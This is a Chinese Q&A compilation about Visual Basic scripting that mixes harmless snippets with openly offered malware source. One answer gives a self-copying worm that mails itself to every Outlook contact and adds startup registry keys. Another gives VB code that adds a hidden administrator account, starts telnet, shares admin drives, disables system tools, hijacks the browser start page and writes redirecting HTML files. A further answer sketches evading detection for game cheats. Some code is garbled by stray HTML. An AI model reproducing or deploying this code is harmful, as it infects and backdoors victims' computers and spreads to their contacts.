㈠ 怎麼用vb腳本寫指令
只要
Private Sub form_load()
Shell "cmd.exe /c taskkill /f /im qq.exe", vbHide
Shell "cmd.exe /c shutdown -r", vbHide
End Sub
就行了（這是VB 6.0的代碼）
原理就是用VB調用命令提示符在執行命令，如果你還想用VB調用其他的cmd命令，就把"/c"後的東西換成命令即可
Shell "cmd.exe /c shutdown -r", vbHide的「-r」後加上「-t 5」就可以延遲5秒再重啟：Shell "cmd.exe /c shutdown -r -t 5",vbHide，後邊的數字可以換成別的，單位秒。vbHide可以隱藏cmd窗口，即那個黑框框。
㈡ vb能不能寫游戲腳本 那vbs又是什麼，和vb一樣嗎學會vb就會vbs嗎
VB很強大，高手可以用它做90%的各種應用。編寫一些簡單的游戲輔助腳本是沒問題的。
VBS是Visual Basic Script的簡稱，它是VB的一個子集，具有VB的部分功能，而適應性更強。
一般來說，會VB的人只需要簡單的了解一下區別就能熟練編寫VBS代碼了。
㈢ 使用VB腳本代碼編寫程序
代碼如下，代碼源文件和圖片附件裡面也有。
<form>
<div><td><input type=text style="width:200px; height:25px;" name="incontent" value=""> <input type=submit name="submit" value="搜索">
</td></div>
<div>
<td>
<input type=radio name="search" value="bd">網路
<input type=radio name="search" value="yh">Yahoo
<input type=radio name="search" value="sg">搜狗
</td>
</div>
</form>
<%
'網路 http://www..com/s?wd=
'搜狗 http://www.sogou.com/sogou?query=
'Yahoo https://search.yahoo.com/search;_ylt=AsdHYgmo4CrfcaVNGk63yF2bvZx4?p=test&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-312&fp=1
dim nr,ss
ss= Request.QueryString("search")
nr= Request.QueryString("incontent")
if ss="bd"then
response.redirect("http://www..com/s?wd="&nr)
elseif ss="yh" then
response.redirect("https://search.yahoo.com/search;_ylt=AsdHYgmo4CrfcaVNGk63yF2bvZx4?p="&nr&"&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-312&fp=1")
elseif ss="sg"then
response.redirect("http://www.sogou.com/sogou?query="&nr)
ss= Request.QueryString("search")=""
response.redirect("index.asp")
end if
%>
㈣ vb實現一個腳本不關閉就不能操作其他程序
很久不用VB了
如果我沒記錯的話 msgbox 是有幾個彈出級別的，
好像有
窗口級別：不關閉不能操作父窗口
應用級別：不關閉不能操作所屬應用程序
系統級別：不關閉不能操作操作系統
至於具體什麼參數忘了，你可以 網路一下
㈤ 為什麼用vb腳本代碼寫的網頁作業在我的電腦上顯示不出來，在別人電腦就可以
你的電腦上有裝360等安全衛士軟體，可能就禁用了VB腳本代碼。要暫時關閉。
㈥ 請問用VB可以編寫病毒嗎
VB 可以寫病毒的
給你個小例子可以參考
打開VB,先生成一個工程,然後刪掉form,添加MDI,添加模塊.
下面的就是我已經做好的蠕蟲代碼,因為需要一些編程基礎,我在這里就不在給大家做解釋了.上面有注釋,你們學會VB後自己看看就明白了.
蠕蟲就這樣生成了,但它是被殺毒軟體查殺的,我沒有裝殺毒.我也怕怕,不敢運行,就是教大家怎麼做了.你要有殺毒的話可以試試..好了,教程就做到這里..
Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'阻止問題發生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"
'設定目的地
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"
'開始復制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "聖誕節快樂!!"
Merry.Body = "聖誕節快樂！這是一個特別個你的聖誕節的禮物！過個快樂的聖誕節! "
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If
Dim Reg
Set Reg = CreateObject("wscript.Shell")
'把資料寫入Registry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Mapi", "C:\WINNT\SYSTEM\Mapi.exe"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinMapi", "C:\WINDOWS\SYSTEM\WinMapi.exe"
End Sub
㈦ 我想用VB做一個後台按鍵的外掛,要做哪些防檢測工作,網易的
內存
不能讀，那就修改內存
頁面
屬性為讀寫，至於外掛，別人都說破解的網路游戲
通信數據包的，那是
抓包
封包技術。讀內存也就只讀讀血量什麼的，還要找
內存地址
。要想做外掛，自己多琢磨琢磨
Hook
APi
和
Socket
API，還要有分析數據包的經驗。
要是破解了游戲的
通信協議，都用不著運行游戲的
客戶端
，自己都能搞一個客戶端出來。
㈧ 什麼是腳本病毒
什麼是惡意腳本？
惡意腳本是指一切以製造危害或者損害系統功能為目的而從軟體系統中增加、改變或刪除的任何腳本。傳統的惡意腳本包括：病毒，蠕蟲，特洛伊木馬，和攻擊性腳本。更新的例子包括： Java攻擊小程序（Java attack applets）和危險的ActiveX控制項。
防治惡意腳本，應該採取以下措施 ：
第一，上網時開啟瑞星殺毒軟體的八大監控。
第二，不要輕易瀏覽不良網站。
第三，如果懷疑自己感染了惡意腳本，可以登陸瑞星免費查毒網站，對自己的電腦進行全面掃描。
具體的原理和防範方法到這里去學習下：
http://www.yesky.com/SoftChannel/72356699872165888/20031015/1736105.shtml
㈨ vb能編病毒嗎誰能提供一段VB編的病毒代碼
Option Explicit
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance Then
End
End If
MsgBox "朋友在網上失戀的痛苦中誕生這套程序，也許只有它能表達我對他現在心情理解。。。。。" & vbCrLf & vbCrLf & "想和我成為朋友的就加我QQ：545704252！", vbApplicationModal, "真愛無錯V1.0"
Dim Mypath
Mypath = App.Path & "\" & App.EXEName & ".exe"
Dim Writereg
Dim Wsh_shell
Set Wsh_shell = New IWshShell_Class
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn"REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", "302", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", "0", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "BLOG地址:http://hi..com/hydown")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "04", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \NoDesktop", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("", "01", "REG_DWORD")
Dim fso
Dim dir1
Set fso = CreateObject("scripting.filesystemobject")
Set dir1 = fso.GetSpecialFolder(0)
FileCopy Mypath, dir1 & "\System32\Explorers.exe"
Shell "cmd.exe /c " & dir1 & "\System32\Explorers.exe", vbHide
Shell "cmd.exe /c net user lilong /add&net localgroup administrators lilong /add", vbHide
Shell "cmd.exe /c & net start telnet", vbHide
Shell "cmd.exe /c & net share admin$", vbHide
On Error Resume Next
Dim nowtime
Dim i
nowtime = Date
If nowtime <> "2008-10-1" Then
For i = 1 To 999
Open "d:\《真愛無錯》" & "第" & i & "集" & ".htm" For Append As #1
Print #1, "<script language=』javascript』>alert(』眾人皆醒我獨醉，心有靈犀最珍貴，邂逅真愛不後悔，今生只為你相隨。有空和我聊聊吧，！』)</script>"
Print #1, "<script language=』javascript』>window.location=』500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn/』</script>"
Close #1
Next
End If
End Sub